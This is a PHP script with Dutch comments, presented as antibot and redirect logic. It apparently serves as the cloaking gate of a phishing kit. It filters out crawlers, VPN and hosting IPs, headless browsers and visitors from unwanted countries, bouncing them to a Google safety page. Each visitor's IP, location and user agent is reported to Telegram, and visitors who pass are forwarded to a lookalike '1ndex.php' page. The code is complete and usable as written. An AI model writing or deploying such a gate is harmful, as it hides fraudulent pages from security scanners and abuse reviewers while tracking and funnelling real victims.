<?php
/**
 * x.php – Geavanceerde antibot/redirect logica
 */

session_start();
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

/* 1) Probeer config/index.php te laden (zorgt voor $config) */
@include_once __DIR__ . '/config/index.php';
if (!isset($config) || !is_array($config)) {
    $config = [
        'allowedCountries' => ['ALL'],
        'block_hosting'    => false,
        'block_vpn'        => false,
        'rateLimit' => [
            'maxVisits'  => 3,
            'timeWindow' => 60
        ]
    ];
}

/* 2) Laad de helperbestanden */
@include_once __DIR__ . '/includes/ipinfo_helpers.php';
@include_once __DIR__ . '/includes/notify_telegram.php';

/* 3) Definieer fallback-functies indien nodig */
if (!function_exists('sendTGNotification')) {
    function sendTGNotification($msg) {
        // Fallback: log naar een bestand
        file_put_contents(__DIR__ . '/logs/telegram.log', $msg . "\n", FILE_APPEND);
    }
}
if (!function_exists('getVisitorCountry')) {
    function getVisitorCountry($ip) {
        return 'XX';
    }
}
if (!function_exists('getCountryName')) {
    function getCountryName($code) {
        return $code;
    }
}
if (!function_exists('getFlagEmoji')) {
    function getFlagEmoji($code) {
        return '';
    }
}
if (!function_exists('getIpinfoData')) {
    function getIpinfoData($ip) {
        return [];
    }
}
if (!function_exists('isHostingProvider')) {
    function isHostingProvider($ip) {
        return false;
    }
}
if (!function_exists('isProxyOrVpn')) {
    function isProxyOrVpn($ip) {
        return false;
    }
}

/* 4) Lees de client-IP en vervang voor lokale tests */
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip === '127.0.0.1' || $ip === '::1') {
    $ip = '1.1.1.1'; // Voorbeeld-IP
}

/* 5) Stel de centrale bot-referer URL in */
$bot_referer = 'https://safety.google/'; // Pas dit aan naar jouw gewenste URL

/**
 * Helper-functie: Verstuur uitgebreide block-melding naar Telegram
 */
function sendBlockNotification($reason) {
    global $ip;
    $timestamp  = date('Y-m-d H:i:s');
    $userAgent  = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
    $visitorCountry = getVisitorCountry($ip);
    $countryName = getCountryName($visitorCountry);
    $flag       = getFlagEmoji($visitorCountry);
    $info       = getIpinfoData($ip);
    $city       = $info['city'] ?? 'N/A';
    $region     = $info['region'] ?? 'N/A';
    $referer    = isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])
                  ? $_SERVER['HTTP_REFERER']
                  : "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

    $msg  = "🚨 *Suspicious activity detected:*\n\n";
    $msg .= "🌐 *IP:* {$ip}\n";
    $msg .= "🏳️ *Country:* {$countryName} ({$visitorCountry}) {$flag}\n";
    $msg .= "🏙️ *Region:* {$region}\n";
    $msg .= "🌆 *City:* {$city}\n";
    $msg .= "📱 *User Agent:* {$userAgent}\n";
    $msg .= "⏰ *Timestamp:* {$timestamp}\n";
    $msg .= "🔗 *Referer:* {$referer}\n\n";
    $msg .= "❌ *Blocked by {$reason}!*";
    sendTGNotification($msg);
}

/* 6) Controleer de blocklist */
$banFile = __DIR__ . '/ban/blocklist.txt';
if (file_exists($banFile)) {
    $blocked_ips = file($banFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    if (in_array($ip, $blocked_ips)) {
        sendBlockNotification("Blocklist entry");
        header("Location: " . $bot_referer);
        exit;
    }
}

/* 7) Extra validaties */

/* 7a) Allowed countries check */
$visitorCountry = getVisitorCountry($ip);
if ($config['allowedCountries'][0] !== 'ALL' && !in_array($visitorCountry, $config['allowedCountries'])) {
    sendBlockNotification("Country block: Not allowed ($visitorCountry)");
    echo "Access denied: your country ($visitorCountry) is not allowed.";
    exit;
}

/* 7b) Hosting/VPN check */
if ($config['block_hosting'] && isHostingProvider($ip)) {
    sendBlockNotification("Hosting provider block");
    echo "Access denied: hosting provider is not allowed.";
    exit;
}
if ($config['block_vpn'] && isProxyOrVpn($ip)) {
    sendBlockNotification("VPN/Proxy block");
    echo "Access denied: VPN/proxy is not allowed.";
    exit;
}

/* 7c) Cookie/Token validatie: controleer of de 'captcha_valid' cookie aanwezig is.
   Als deze ontbreekt of niet 'true' is, redirect de gebruiker naar captcha.php om de uitdaging in te vullen. */
if (!isset($_COOKIE['captcha_valid']) || $_COOKIE['captcha_valid'] !== 'true') {
    sendTGNotification("captcha_valid cookie missing or invalid. Redirecting user to captcha.php");
    header("Location: captcha.php");
    exit;
}

/* 7d) Header-validatie: User-Agent en Accept-Language */
if (!isset($_SERVER['HTTP_USER_AGENT']) || strlen($_SERVER['HTTP_USER_AGENT']) < 10) {
    sendBlockNotification("Invalid or missing User-Agent");
    header("Location: " . $bot_referer);
    exit;
}
if (!isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) || strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) < 2) {
    sendBlockNotification("Missing Accept-Language header");
    header("Location: " . $bot_referer);
    exit;
}

/* 7e) Reverse DNS lookup (rdns) - relaxed versie */
$hostname = gethostbyaddr($ip);
$strict_rdns = false; // Zet op true om strikter te zijn
if ($strict_rdns && $hostname === $ip) {
    sendBlockNotification("rDNS strict block: no valid hostname");
    header("Location: " . $bot_referer);
    exit;
} elseif (!$strict_rdns && $hostname === $ip) {
    sendTGNotification("⚠️ rDNS warning: IP $ip returned same as hostname (relaxed mode)");
}

/* 7f) Extra Header Check: controleer op essentiële headers (zoals Accept-Encoding) */
if (!isset($_SERVER['HTTP_ACCEPT_ENCODING']) || empty($_SERVER['HTTP_ACCEPT_ENCODING'])) {
    sendBlockNotification("Missing Accept-Encoding header");
    header("Location: " . $bot_referer);
    exit;
}

/* 7g) Honeypot veld detectie (indien meegegeven in formulieren) */
if (isset($_POST['hp_field']) && !empty($_POST['hp_field'])) {
    sendBlockNotification("Honeypot field filled");
    header("Location: " . $bot_referer);
    exit;
}

/* 7h) Headless Browser Detectie:
   Verwacht dat een via JavaScript ingestelde header X-Navigator-Webdriver is meegestuurd.
   Deze header moet 'false' of niet aanwezig zijn bij legitieme browsers. */
if (isset($_SERVER['HTTP_X_NAVIGATOR_WEBDRIVER']) && $_SERVER['HTTP_X_NAVIGATOR_WEBDRIVER'] === 'true') {
    sendBlockNotification("Headless browser detected (navigator.webdriver true)");
    header("Location: " . $bot_referer);
    exit;
}

/* 8) Rate-limiting via sessie */
if (!isset($_SESSION['visit_count'])) {
    $_SESSION['visit_count'] = 0;
}
$_SESSION['visit_count']++;
if ($_SESSION['visit_count'] > $config['rateLimit']['maxVisits']) {
    file_put_contents(__DIR__ . '/logs/clicks.log', date('Y-m-d H:i:s') . " - Exceeded maxVisits. IP: $ip\n", FILE_APPEND);
    sendBlockNotification("Exceeded maxVisits");
    header("Location: captcha.php");
    exit;
}

/* 9) Redis-based throttling (optioneel) */
function rateLimitSlidingWindow($ip) {
    global $config;
    if (!extension_loaded('redis')) return false;
    try {
        $redis = new Redis();
        $redis->connect('127.0.0.1');
        $key = "rate_$ip";
        $count = $redis->incr($key);
        if ($count == 1) {
            $redis->expire($key, $config['rateLimit']['timeWindow']);
        }
        if ($count > 15) return true;
    } catch (Exception $e) {
        return false;
    }
    return false;
}
if (rateLimitSlidingWindow($ip)) {
    sendBlockNotification("Rate limit exceeded");
    header("HTTP/1.1 403 Forbidden");
    echo "Access Denied: Too many requests.";
    exit;
}

/* 10) Basis Bot check */
if (empty($_SERVER['HTTP_USER_AGENT']) || strlen($_SERVER['HTTP_USER_AGENT']) < 10) {
    sendBlockNotification("Basic bot check failed (User-Agent)");
    header("HTTP/1.1 403 Forbidden");
    echo "Access Denied: Bot or Crawler detected.";
    exit;
}

/* 11) Bepaal referer */
$referer = (isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER']))
    ? $_SERVER['HTTP_REFERER']
    : "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

/* 12) Verstuur een Telegram-melding met volledige bezoekerinfo voor legitieme bezoekers */
$timestamp  = date('Y-m-d H:i:s');
$userAgent  = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
$countryName = getCountryName($visitorCountry);
$flag       = getFlagEmoji($visitorCountry);
$info       = getIpinfoData($ip);
$city       = $info['city'] ?? 'N/A';
$region     = $info['region'] ?? 'N/A';

$newVisitorMessage  = "🆕 *New Visitor Info:*\n\n";
$newVisitorMessage .= "🌐 *IP:* {$ip}\n";
$newVisitorMessage .= "🏳️ *Country:* {$countryName} ({$visitorCountry}) {$flag}\n";
$newVisitorMessage .= "🏙️ *Region:* {$region}\n";
$newVisitorMessage .= "🌆 *City:* {$city}\n";
$newVisitorMessage .= "📱 *User Agent:* {$userAgent}\n";
$newVisitorMessage .= "⏰ *Timestamp:* {$timestamp}\n";
$newVisitorMessage .= "🔗 *Referer:* {$referer}\n\n";
$newVisitorMessage .= "✅ *Passed all validations!*";
sendTGNotification($newVisitorMessage);

/* 13) Redirect naar start.php */
header("Location: ../1ndex.php");
exit;
